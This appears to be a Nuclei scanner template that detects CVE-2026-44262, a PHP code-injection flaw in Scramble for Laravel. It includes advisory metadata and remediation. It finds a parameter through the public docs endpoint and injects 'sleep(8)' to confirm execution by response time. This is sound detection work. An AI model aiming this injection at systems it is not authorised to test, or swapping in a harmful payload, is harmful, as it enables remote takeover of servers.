Scramble Laravel - Remote Code Execution

id: CVE-2026-44262

info:
  name: Scramble Laravel - Remote Code Execution
  author: joshuavanderpoll
  severity: critical
  description: |
    Scramble for Laravel >= 0.13.2 and < 0.13.22 contains a remote code execution caused by evaluation of user-controlled input in validation rules during documentation generation, letting remote attackers execute arbitrary PHP code, exploit requires publicly accessible documentation endpoints.
  impact: |
    Remote attackers can execute arbitrary PHP code, potentially leading to full application compromise.
  remediation: |
    Upgrade to version 0.13.22 or later.
  reference:
    - https://github.com/advisories/GHSA-4rm2-28vj-fj39
    - https://github.com/joshuavanderpoll/CVE-2026-44262
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44262
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 9.4
    cve-id: CVE-2026-44262
    epss-score: 0.0586
    epss-percentile: 0.92308
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2026,laravel,scramble,php,rce

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/docs/api.json"
      - "{{BaseURL}}/docs/api"

    stop-at-first-match: true
    extractors:
      - type: regex
        name: name
        part: body
        group: 1
        regex:
          - '"name"\s*:\s*"([^"]+)"[\s\S]{1,600}"default"\s*:\s*"[^"]*\|[^"]*"'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /docs/api.json?{{name}}=sleep(8) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration >= 8"
          - "status_code == 200"
        condition: and
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